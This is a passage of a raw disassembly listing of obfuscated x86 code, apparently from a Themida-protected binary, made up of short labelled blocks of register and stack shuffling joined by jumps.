		jmp	loc_567C1B
; ---------------------------------------------------------------------------


loc_560741:				; CODE XREF: Themida_:0056F435j
		pop	edx
		jmp	loc_56EA55
; ---------------------------------------------------------------------------


loc_560747:				; CODE XREF: Themida_:00565119j
		push	0CCAh
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_56666B
; ---------------------------------------------------------------------------


loc_56075F:				; CODE XREF: Themida_:005653B1j
		add	edx, 2B81AA1h
		add	edx, edi
		sub	edx, 2B81AA1h
		pop	edi
		push	ebx
		push	ebp
		push	6A039B7h
		pop	ebp
		dec	ebp
		shl	ebp, 5
		sub	ebp, 0D40736BCh
		mov	ebx, ebp
		pop	ebp
		add	edx, 291E3542h
		add	edx, 1C3A79F5h
		jmp	loc_56D331
; ---------------------------------------------------------------------------


loc_560794:				; CODE XREF: Themida_:00565B56j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		push	12610846h
		mov	ecx, [esp]
		push	ebx
		push	esp
		jmp	loc_55F272
; ---------------------------------------------------------------------------


loc_5607AD:				; CODE XREF: Themida_:0056B6D1j
		add	edx, edi
		pop	edi
		add	edx, eax
		sub	edx, 891305Fh
		push	dword ptr [esp]
		jmp	loc_568E15
; ---------------------------------------------------------------------------


loc_5607C0:				; CODE XREF: Themida_:00566B17j
		add	ecx, 0D10845FFh
		add	ebp, ecx
		pop	ecx
		jmp	loc_5656FA
; ---------------------------------------------------------------------------


loc_5607CE:				; CODE XREF: Themida_:0055EEF9j
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56DB95
; ---------------------------------------------------------------------------


loc_5607DA:				; CODE XREF: Themida_:00569B2Aj
		mov	ecx, 0
		sub	ecx, 7916449Bh
		sub	ecx, edx
		add	ecx, 7916449Bh
		xchg	ecx, edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_565517
; ---------------------------------------------------------------------------


loc_5607FA:				; CODE XREF: Themida_:00570ED0j
		add	edi, 32B47E06h
		pop	edx
		xchg	edi, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56080E:				; CODE XREF: Themida_:0055F481j
		mov	[esp], esp
		push	eax
		push	esi
		push	ebp
		push	6A1C295Ah
		pop	ebp
		jmp	loc_563E10
; ---------------------------------------------------------------------------


loc_56081F:				; CODE XREF: Themida_:0055EDBAj
		mov	ebp, eax
		pop	eax
		sub	ebp, 7D1C66CCh
		add	ebp, 419F409Ah
		jmp	loc_564775
; ---------------------------------------------------------------------------


loc_560833:				; CODE XREF: Themida_:0056A071j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56B7FF
; ---------------------------------------------------------------------------


loc_560842:				; CODE XREF: Themida_:0056D8E8j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		pop	edi
		pop	esi
		xor	[esp+4], edi
		mov	edi, [esp]
		push	edi
		jmp	loc_56CA0F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_560870:				; CODE XREF: Themida_:00563A55j
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	esi
		mov	esi, 479D48A0h
		add	esi, 0B862B764h
		add	edx, esi
		pop	esi
		push	1CFCh
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56420A
; ---------------------------------------------------------------------------


loc_5608A6:				; CODE XREF: Themida_:00570FC2j
		mov	ebp, 52596E99h
		add	dword ptr [esp+4], 5E9275A9h
		push	edx
		push	edi
		mov	edi, 75B861DBh
		shr	edi, 2
		shr	edi, 3
		shr	edi, 1
		neg	edi
		add	edi, 59B74B12h
		mov	edx, edi
		pop	edi
		jmp	loc_5717E0
; ---------------------------------------------------------------------------


loc_5608D2:				; CODE XREF: Themida_:005670F3j
		push	edi
		mov	edi, 2E352AE9h
		dec	edi
		not	edi
		add	edi, 4CA1289Eh
		sub	edi, 5A0B4D1h
		mov	edx, edi
		pop	edi
		and	ecx, edx
		pop	edx
		add	ecx, 3933049Fh
		add	eax, 681F0295h
		push	ecx
		jmp	loc_5703F9
; ---------------------------------------------------------------------------


loc_5608FE:				; CODE XREF: Themida_:0056B9DDj
		mov	[esp], ecx
		mov	eax, [esp]
		jmp	loc_5667BB
; ---------------------------------------------------------------------------


loc_560909:				; CODE XREF: Themida_:0055D880j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_560383
; ---------------------------------------------------------------------------


loc_560939:				; CODE XREF: Themida_:0056A2EFj
		mov	ebx, 799875A4h
		and	ebx, 2A753E56h
		add	ebx, 1F163E9Eh
		sub	eax, ebx
		pop	ebx
		add	eax, edx
		add	eax, 472672A2h
		jmp	loc_5619C6
; ---------------------------------------------------------------------------


loc_560959:				; CODE XREF: Themida_:00569F55j
		mov	esp, [esp]
		xor	bl, al
		jmp	loc_569817
; ---------------------------------------------------------------------------


loc_560963:				; CODE XREF: Themida_:0056623Ej
		add	edx, edi
		jmp	loc_56757F
; ---------------------------------------------------------------------------


loc_56096A:				; CODE XREF: Themida_:00570441j
		add	eax, edi
		pop	edi
		mov	esi, [esp]
		jmp	loc_56838E
; ---------------------------------------------------------------------------


loc_560975:				; CODE XREF: Themida_:0055FCB0j
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_56CB69
; ---------------------------------------------------------------------------


loc_56097E:				; CODE XREF: Themida_:005707F8j
		add	al, bl
		pop	ebx
		not	al
		jmp	loc_561567
; ---------------------------------------------------------------------------


loc_560988:				; CODE XREF: Themida_:00570F4Aj
		mov	[esp], ebx
		mov	bl, 0D6h
		add	bl, 0EAh
		jmp	loc_570CBB
; ---------------------------------------------------------------------------


loc_560995:				; CODE XREF: Themida_:0055DC4Dj
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	[edi+24h], esi
		jmp	loc_56E787
; ---------------------------------------------------------------------------


loc_5609A8:				; CODE XREF: Themida_:00566964j
		push	ecx
		mov	ecx, 48CC16DBh
		mov	ebx, 737936BAh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56225C
; ---------------------------------------------------------------------------


loc_5609C3:				; CODE XREF: Themida_:0057026Bj
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56CEBF
; ---------------------------------------------------------------------------


loc_5609D2:				; CODE XREF: Themida_:0056F97Bj
		mov	ebp, 2C0E3732h
		add	dword ptr [esp+4], 71A500A0h
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 71A500A0h
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56EE70
; ---------------------------------------------------------------------------


loc_5609F7:				; CODE XREF: Themida_:0055FB75j
		add	eax, edi
		pop	edi
		jmp	loc_5683E8
; ---------------------------------------------------------------------------


loc_5609FF:				; CODE XREF: Themida_:0056D737j
		mov	ah, 0F1h
		add	cl, 9Ch
		add	cl, ah
		jmp	loc_562CAB
; ---------------------------------------------------------------------------


loc_560A0B:				; CODE XREF: Themida_:005612E9j
		mov	edx, esi
		pop	esi
		xor	edx, 0CC1B54CCh
		sub	eax, edx
		pop	edx
		and	esi, eax
		jmp	loc_568A5F
; ---------------------------------------------------------------------------


loc_560A1E:				; CODE XREF: Themida_:00568260j
		push	2AB15F79h
		jmp	loc_5624FB
; ---------------------------------------------------------------------------


loc_560A28:				; CODE XREF: Themida_:0055EAB2j
		inc	ecx
		add	ecx, 72345450h
		sub	ecx, 0D22EEEA6h
		sub	ebp, 22D6228Dh
		add	ebp, ecx
		add	ebp, 22D6228Dh
		jmp	loc_570798
; ---------------------------------------------------------------------------


loc_560A48:				; CODE XREF: Themida_:00563015j
		pop	edi
		inc	edi
		add	edi, 0FFFFFFFFh
		push	ebp
		push	eax
		push	ebx
		mov	ebx, 16E36A4Dh
		xor	ebx, 7EFA6ACAh
		mov	eax, ebx
		pop	ebx
		mov	ebp, 98AE443Ah
		jmp	loc_563B6C
; ---------------------------------------------------------------------------


loc_560A6B:				; CODE XREF: Themida_:0055F5E1j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_570873
; ---------------------------------------------------------------------------


loc_560A79:				; CODE XREF: Themida_:00561FE0j
		push	ebp
		jmp	loc_568D59
; ---------------------------------------------------------------------------


loc_560A7F:				; CODE XREF: Themida_:00565EDCj
		pop	esp
		xor	ebx, eax
		push	edx
		mov	edx, 2Ch
		push	eax
		jmp	loc_55ECBA
; ---------------------------------------------------------------------------


loc_560A8E:				; CODE XREF: Themida_:005600FDj
		not	edi
		xor	edi, 0BD604404h
		sub	esi, edi
		pop	edi
		jmp	loc_56EF72
; ---------------------------------------------------------------------------


loc_560A9E:				; CODE XREF: Themida_:0055E617j
		add	esi, 2EA46C95h
		jmp	loc_5698F5
; ---------------------------------------------------------------------------


loc_560AA9:				; CODE XREF: Themida_:00571E78j
		pop	esi
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5606B2
; ---------------------------------------------------------------------------


loc_560AB7:				; CODE XREF: Themida_:0056E1CDj
		xor	edi, 5F10DEDh
		add	edi, 60F75601h
		mov	edx, edi
		pop	edi
		sub	[esp+4], edx
		pop	edx
		jmp	loc_56B63B
; ---------------------------------------------------------------------------


loc_560AD0:				; CODE XREF: Themida_:00569BE9j
		xor	ebp, esi
		jmp	loc_560BA1
; ---------------------------------------------------------------------------


loc_560AD7:				; CODE XREF: Themida_:005641A3j
		push	ebp
		mov	ebp, 5AA75610h
		jmp	loc_570ED5
; ---------------------------------------------------------------------------


loc_560AE2:				; CODE XREF: Themida_:005631EDj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56DB2F
; ---------------------------------------------------------------------------


loc_560AEE:				; CODE XREF: Themida_:00571B9Bj
		pop	edi
		sub	ebx, 7CD25754h
		add	ebx, ecx
		add	ebx, 7CD25754h
		jmp	loc_570B7F
; ---------------------------------------------------------------------------


loc_560B02:				; CODE XREF: Themida_:0055E855j
		add	ebx, ecx
		pop	ecx
		and	ecx, ebx
		pop	ebx
		sub	ecx, 14FC0024h
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55E73E
; ---------------------------------------------------------------------------


loc_560B18:				; CODE XREF: Themida_:0055E3F1j
		add	edx, edi
		jmp	loc_56A8E0
; ---------------------------------------------------------------------------


loc_560B1F:				; CODE XREF: Themida_:0056F460j
		sub	edi, 4
		jmp	loc_565280
; ---------------------------------------------------------------------------


loc_560B2A:				; CODE XREF: Themida_:0055E177j
		sub	edi, 11D24397h
		xor	ebx, edi
		jmp	loc_55DD19
; ---------------------------------------------------------------------------


loc_560B37:				; CODE XREF: Themida_:00561197j
		neg	edx
		push	eax
		mov	eax, 4E6931D1h
		xor	edx, eax
		pop	eax
		xor	edx, 0D0C83F2Fh
		push	esi
		mov	esi, 6F3512B4h
		sub	eax, esi
		pop	esi
		add	eax, edx
		jmp	loc_567EF8
; ---------------------------------------------------------------------------


loc_560B58:				; CODE XREF: Themida_:0055E397j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_561702
; ---------------------------------------------------------------------------


loc_560B77:				; CODE XREF: Themida_:00572499j
		sub	[esp], ecx
		add	dword ptr [esp], 51380437h
		pop	ecx
		xchg	ecx, esi
		sub	esi, 9968AB09h
		add	ebx, esi
		jmp	loc_566C33
; ---------------------------------------------------------------------------


loc_560B91:				; CODE XREF: Themida_:00570C03j
		pop	ecx
		pop	ecx
		push	ecx
		mov	cl, 0A1h
		or	cl, 60h
		sub	cl, 0C3h
		jmp	loc_56DCCD
; ---------------------------------------------------------------------------


loc_560BA1:				; CODE XREF: Themida_:00560AD2j
		mov	esi, [esp]
		add	esp, 4
		mov	edi, ebp
		jmp	loc_56398F
; ---------------------------------------------------------------------------


loc_560BB1:				; CODE XREF: Themida_:00561EF7j
		add	eax, 3F005074h
		not	eax
		xor	eax, 6FB97D6Ch
		shl	eax, 4
		xor	eax, 202B4C19h
		mov	ebp, eax
		jmp	loc_56D7C8
; ---------------------------------------------------------------------------


loc_560BCC:				; CODE XREF: Themida_:00563FCBj
		mov	dh, 84h
		xor	cl, dh
		pop	edx
		jmp	loc_563A75
; ---------------------------------------------------------------------------


loc_560BD6:				; CODE XREF: Themida_:00571EC5j
		add	esp, 4
		add	ebp, 229B66A2h
		add	ebp, edi
		sub	ebp, 229B66A2h
		jmp	loc_5701D0
; ---------------------------------------------------------------------------


loc_560BEC:				; CODE XREF: Themida_:0055E113j
		pop	esp
		mov	[esp], edi
		push	ebx
		push	edi
		push	edx
		push	262F5900h
		pop	edx
		sub	edx, 583D3CCEh
		sub	edx, 78AFAEAFh
		mov	edi, edx
		pop	edx
		not	edi
		not	edi
		shr	edi, 6
		add	edi, 64D60123h
		jmp	loc_561553
; ---------------------------------------------------------------------------


loc_560C1A:				; CODE XREF: Themida_:00568A91j
		or	ecx, 33F659E9h
		inc	ecx
		push	edx
		mov	edx, 4D6D2645h
		or	ecx, edx
		pop	edx
		push	esi
		mov	esi, 0A9711779h
		add	ecx, esi
		jmp	loc_569D20
; ---------------------------------------------------------------------------


loc_560C37:				; CODE XREF: Themida_:0056334Aj
		add	eax, ecx
		jmp	loc_55E06B
; ---------------------------------------------------------------------------


loc_560C3E:				; CODE XREF: Themida_:0056BFA0j
		add	[esp+0Ch], ebx
		pop	ebx
		jmp	loc_5657F2
; ---------------------------------------------------------------------------


loc_560C48:				; CODE XREF: Themida_:0056D5A0j
		pop	edx
		add	bh, al
		pop	eax
		pop	cx
		push	dx
		mov	dl, 5Eh
		jmp	loc_565439
; ---------------------------------------------------------------------------


loc_560C57:				; CODE XREF: Themida_:0055D9C1j
		push	ebx
		mov	ebx, 26D5288Bh
		inc	ebx
		jmp	loc_56A2D4
; ---------------------------------------------------------------------------


loc_560C63:				; CODE XREF: Themida_:0055EF8Ej
		pop	esp
		mov	[esp], edx
		jmp	loc_5612FF
; ---------------------------------------------------------------------------


loc_560C6C:				; CODE XREF: Themida_:0056C609j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_568FED
; ---------------------------------------------------------------------------


loc_560C79:				; CODE XREF: Themida_:005605FEj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_5712F3
; ---------------------------------------------------------------------------


loc_560C86:				; CODE XREF: Themida_:005665A8j
		sub	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		add	eax, 32080D86h
		add	eax, ecx
		sub	eax, 32080D86h
		push	ecx
		mov	cl, dl
		mov	[eax], cl
		pop	ecx
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_564E1F
; ---------------------------------------------------------------------------


loc_560CB8:				; CODE XREF: Themida_:00571AADj
		pop	edx
		jmp	loc_566703
; ---------------------------------------------------------------------------


loc_560CBE:				; CODE XREF: Themida_:0056B6BAj
		push	edi
		jmp	loc_570468
; ---------------------------------------------------------------------------


loc_560CC4:				; CODE XREF: Themida_:0056898Fj
		mov	edx, [esp]
		jmp	loc_56B44E
; ---------------------------------------------------------------------------


loc_560CCC:				; CODE XREF: Themida_:00567343j
		mov	[esp], ebx
		jmp	loc_5669C9
; ---------------------------------------------------------------------------


loc_560CD4:				; CODE XREF: Themida_:00569A10j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_565A99
; ---------------------------------------------------------------------------


loc_560CE7:				; CODE XREF: Themida_:0056CAB0j
		mov	ecx, 4
		jmp	loc_55F436
; ---------------------------------------------------------------------------


loc_560CF1:				; CODE XREF: Themida_:005624B2j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 60CD3D7Ah
		add	ebp, 0DB2C39DBh
		and	ebx, ebp
		pop	ebp
		jmp	loc_563598
; ---------------------------------------------------------------------------


loc_560D0F:				; CODE XREF: Themida_:00563259j
		mov	[esp], ebx
		mov	ebx, 69A17D1Fh
		jmp	loc_56B9FF
; ---------------------------------------------------------------------------


loc_560D1C:				; CODE XREF: Themida_:00568172j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		jmp	loc_56906A
; ---------------------------------------------------------------------------


loc_560D34:				; CODE XREF: Themida_:00565E09j
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56B098
; ---------------------------------------------------------------------------


loc_560D46:				; CODE XREF: Themida_:005686A1j
		mov	edi, ebx
		jmp	loc_56FFB8
; ---------------------------------------------------------------------------


loc_560D4D:				; CODE XREF: Themida_:0056256Aj
		sub	esi, 4C343CD4h
		jmp	loc_572768
; ---------------------------------------------------------------------------


loc_560D58:				; CODE XREF: Themida_:0055E4A1j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		push	ebx
		push	ebp
		mov	ebp, 50614B23h
		jmp	loc_56B10C
; ---------------------------------------------------------------------------


loc_560D70:				; CODE XREF: Themida_:0056E8E6j
		mov	ecx, 2E354C7Dh
		add	edx, ecx
		pop	ecx
		jmp	loc_56AFDB
; ---------------------------------------------------------------------------


loc_560D7D:				; CODE XREF: Themida_:00563357j
		add	ebp, 40BB537Eh
		sub	ebp, ecx
		sub	ebp, 40BB537Eh
		pop	ecx
		add	esi, 33985164h
		add	esi, ebp
		sub	esi, 33985164h
		pop	ebp
		jmp	loc_56047A
; ---------------------------------------------------------------------------


loc_560DA0:				; CODE XREF: Themida_:00571F78j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	22A8h
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_56B741
; ---------------------------------------------------------------------------


loc_560DC0:				; CODE XREF: Themida_:0056E250j
		push	5037h
		mov	[esp], edi
		jmp	loc_56B06E
; ---------------------------------------------------------------------------


loc_560DCD:				; CODE XREF: Themida_:00567C9Fj
		pop	esp
		mov	[esp], ecx
		push	ebx
		push	ecx
		jmp	loc_562075
; ---------------------------------------------------------------------------


loc_560DD8:				; CODE XREF: Themida_:0055DBFEj
		push	ebx
		mov	ebx, 6BAB1204h
		add	edx, ebx
		jmp	loc_570BA2
; ---------------------------------------------------------------------------


loc_560DE5:				; CODE XREF: Themida_:0055ECFFj
		mov	ebp, 22605FF5h
		neg	ebp
		not	ebp
		add	ebp, 5195296Bh
		add	ebp, 0EA24EA63h
		sub	edx, ebp
		pop	ebp
		or	edx, 36F0FFAh
		jmp	loc_565051
; ---------------------------------------------------------------------------


loc_560E08:				; CODE XREF: Themida_:005671FFj
		sub	edi, 0E9023BE1h
		sub	ebx, edi
		pop	edi
		sub	ebx, 57C32D7Bh
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55F30D
; ---------------------------------------------------------------------------


loc_560E42:				; CODE XREF: Themida_:00561833j
		shl	esi, 6
		xor	esi, 8B800044h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56B7AD
; ---------------------------------------------------------------------------


loc_560E58:				; CODE XREF: Themida_:0057034Dj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_566D6E
; ---------------------------------------------------------------------------


loc_560E63:				; CODE XREF: Themida_:0056041Fj
		push	ebp
		jmp	loc_55E909
; ---------------------------------------------------------------------------


loc_560E69:				; CODE XREF: Themida_:00567891j
		pop	esi
		shl	eax, 5
		or	eax, 7C782C37h
		shl	eax, 1
		or	eax, 501F52C2h
		push	edi
		mov	edi, 37FB1893h
		jmp	loc_56FE4B
; ---------------------------------------------------------------------------


loc_560E84:				; CODE XREF: Themida_:0056FB06j
		push	dword ptr [esp]
		pop	esi
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_55EA79
; ---------------------------------------------------------------------------


loc_560EAB:				; CODE XREF: Themida_:005692FAj
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56613F
; ---------------------------------------------------------------------------


loc_560EB7:				; CODE XREF: Themida_:0056BB50j
		add	esp, 4
		jmp	loc_5643A3
; ---------------------------------------------------------------------------


loc_560EBF:				; CODE XREF: Themida_:0056A4AAj
		add	esp, 4
		sub	dword ptr [esp+4], 44E7261Ch
		add	dword ptr [esp+4], 195D565Dh
		jmp	loc_56779D
; ---------------------------------------------------------------------------


loc_560EDA:				; CODE XREF: Themida_:0056B926j
		pop	esi
		xor	esi, 7D2A08F2h
		mov	ecx, esi
		pop	esi
		sub	ecx, edx
		push	ecx
		xor	dword ptr [esp], 531E7CABh
		pop	edx
		xor	edx, 531E7CABh
		jmp	loc_55F893
; ---------------------------------------------------------------------------


loc_560EFA:				; CODE XREF: Themida_:00570125j
		sub	eax, 169A7147h
		pop	ecx
		push	edx
		mov	edx, 796A5B0Ch
		jmp	loc_55F739
; ---------------------------------------------------------------------------


loc_560F0B:				; CODE XREF: Themida_:00565724j
		xor	ebp, 0A1609B93h
		and	ecx, ebp
		pop	ebp
		inc	ecx
		sub	ecx, 0CBE42B19h
		push	ecx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		xor	edx, 4C5F7356h
		add	edx, 7F6FA3ACh
		jmp	loc_56DB27
; ---------------------------------------------------------------------------


loc_560F41:				; CODE XREF: Themida_:0056A4DAj
		add	ecx, eax
		jmp	loc_56758B
; ---------------------------------------------------------------------------


loc_560F48:				; CODE XREF: Themida_:0056E446j
		push	edx
		mov	edx, 2E4E731Eh
		shl	edx, 3
		add	edx, 69BF7DC8h
		jmp	loc_567930
; ---------------------------------------------------------------------------


loc_560F5C:				; CODE XREF: Themida_:005722FDj
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5630E1
; ---------------------------------------------------------------------------


loc_560F6B:				; CODE XREF: Themida_:00568FE8j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_5643EC
; ---------------------------------------------------------------------------


loc_560F77:				; CODE XREF: Themida_:00567946j
		mov	[esp], esp
		push	4A98h
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_568345
; ---------------------------------------------------------------------------


loc_560F93:				; CODE XREF: Themida_:00562C3Ej
		add	esi, edi
		sub	esi, 4FF5793h
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_572B08
; ---------------------------------------------------------------------------


loc_560FA7:				; CODE XREF: Themida_:00565284j
		mov	[esp], ebp
		push	edi
		jmp	loc_55DF79
; ---------------------------------------------------------------------------


loc_560FB0:				; CODE XREF: Themida_:00561BF3j
		xor	ebx, 4AA3920h
		jmp	loc_572A99
; ---------------------------------------------------------------------------


loc_560FBB:				; CODE XREF: Themida_:00564F9Ej
		sub	ebp, 61F869C4h
		add	ebp, edi
		push	edx
		push	ebx
		mov	ebx, 45153750h
		dec	ebx
		jmp	loc_55DA27
; ---------------------------------------------------------------------------


loc_560FD0:				; CODE XREF: Themida_:00570A37j
		mov	edx, 4
		add	ebx, 71C85950h
		add	ebx, edx
		jmp	loc_560693
; ---------------------------------------------------------------------------


loc_560FE2:				; CODE XREF: Themida_:0056A8DBj
		pop	esp
		add	cx, 991Fh
		mov	si, cx
		pop	ecx
		push	edi
		mov	di, 295h
		jmp	loc_562CE0
; ---------------------------------------------------------------------------


loc_560FF6:				; CODE XREF: Themida_:005640F4j
		add	esp, 4
		jmp	loc_56C2E0
; ---------------------------------------------------------------------------


loc_561001:				; CODE XREF: Themida_:0056C4A0j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56D77C
; ---------------------------------------------------------------------------


loc_56100C:				; CODE XREF: Themida_:0055F4F0j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	29EAh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_55DC5C
; ---------------------------------------------------------------------------


loc_56102B:				; CODE XREF: Themida_:0056C603j
		add	esp, 4
		jmp	loc_55DF67
; ---------------------------------------------------------------------------


loc_561036:				; CODE XREF: Themida_:00572A40j
		add	dword ptr [esp+4], 5CBF3F6Eh
		jmp	loc_565A6F
; ---------------------------------------------------------------------------


loc_561043:				; CODE XREF: Themida_:00567BA3j
		or	eax, eax
		jnz	loc_563244
		sub	esp, 4
		jmp	loc_568DFA
; ---------------------------------------------------------------------------


loc_561056:				; CODE XREF: Themida_:00567798j
		pop	esi
		pop	edi
		add	edx, ebx
		push	ebx
		jmp	loc_5694A0
; ---------------------------------------------------------------------------


loc_561060:				; CODE XREF: Themida_:0056504Cj
		xor	eax, 55B2621Ch
		shr	eax, 7
		inc	eax
		add	eax, 1
		inc	eax
		xor	eax, 0F13E6Fh
		jmp	loc_5615CB
; ---------------------------------------------------------------------------


loc_561077:				; CODE XREF: Themida_:00560208j
		push	ebx
		push	edi
		mov	edi, 4F050FF0h
		dec	edi
		sub	edi, 42310AAAh
		jmp	loc_56635F
; ---------------------------------------------------------------------------


loc_56108A:				; CODE XREF: Themida_:00568D81j
		add	esp, 4
		add	edx, eax
		push	ebp
		mov	ebp, 23635D47h
		sub	edx, ebp
		pop	ebp
		pop	eax
		sub	edx, 42657ECDh
		jmp	loc_569738
; ---------------------------------------------------------------------------


loc_5610A4:				; CODE XREF: Themida_:0056A034j
		push	7FF9h
		mov	[esp], ebp
		push	esp
		jmp	loc_565445
; ---------------------------------------------------------------------------


loc_5610B2:				; CODE XREF: Themida_:00564358j
		mov	[esp], ecx
		mov	ecx, 4
		sub	esp, 4
		jmp	loc_566B85
; ---------------------------------------------------------------------------


loc_5610C2:				; CODE XREF: Themida_:00567D74j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 6
		push	ebp
		mov	ebp, ebx
		push	7D15h
		mov	[esp], ebp
		jmp	loc_569FFD
; ---------------------------------------------------------------------------


loc_5610DF:				; CODE XREF: Themida_:0056D0C3j
		shr	ch, 4
		push	bx
		mov	bh, 0E7h
		xor	ch, bh
		pop	bx
		push	5A7Eh
		mov	[esp], ebx
		jmp	loc_571E7D
; ---------------------------------------------------------------------------


loc_5610F7:				; CODE XREF: Themida_:0056FFC9j
		push	edi
		mov	edi, 4
		add	dword ptr [esp+4], 1222309Ah
		sub	dword ptr [esp+4], 3117094Fh
		add	[esp+4], edi
		push	ebp
		mov	ebp, 3117094Fh
		add	[esp+8], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ecx
		mov	ecx, 1222309Ah
		sub	[esp+8], ecx
		jmp	loc_570102
; ---------------------------------------------------------------------------


loc_561134:				; CODE XREF: Themida_:005700F7j
		pop	edx
		push	ecx
		mov	ch, 0F1h
		jmp	loc_568D39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_56113D:				; CODE XREF: sub_562A0A+Aj
		mov	dh, 0CDh
		sub	dh, 22h
		sub	al, dh
		mov	dx, word ptr [esp+4+var_4]
		push	ebp
		jmp	loc_5602DA
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_56114E:				; CODE XREF: Themida_:00567C6Cj
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	edx
		push	ecx
		push	ebx
		mov	ebx, 72DE603Fh
		and	ebx, 6B72142Ah
		xor	ebx, 3E993B93h
		jmp	loc_55D6D2
; ---------------------------------------------------------------------------


loc_561172:				; CODE XREF: Themida_:00565737j
		sub	eax, ebx
		add	eax, 16411ECh
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	ebp
		push	21886C49h
		jmp	loc_57041B
; ---------------------------------------------------------------------------


loc_56118B:				; CODE XREF: Themida_:00572B40j
		push	edx
		mov	edx, 79B1338Fh
		sub	edx, 18524289h
		jmp	loc_560B37
; ---------------------------------------------------------------------------


loc_56119C:				; CODE XREF: Themida_:005658B6j
		xor	ebx, eax
		pop	eax
		and	ebx, 660F09A3h
		shl	ebx, 5
		not	ebx
		jmp	loc_56BC72
; ---------------------------------------------------------------------------


loc_5611AF:				; CODE XREF: Themida_:0056A9F4j
		push	edi
		mov	edi, 323D4D22h
		push	edi
		jmp	loc_5725E8
; ---------------------------------------------------------------------------


loc_5611BB:				; CODE XREF: Themida_:0055D354j
		push	ecx
		mov	cl, bh
		mov	al, cl
		mov	ecx, [esp]
		push	esi
		jmp	loc_56351E
; ---------------------------------------------------------------------------


loc_5611C9:				; CODE XREF: Themida_:00565987j
		mov	[esp], ebp
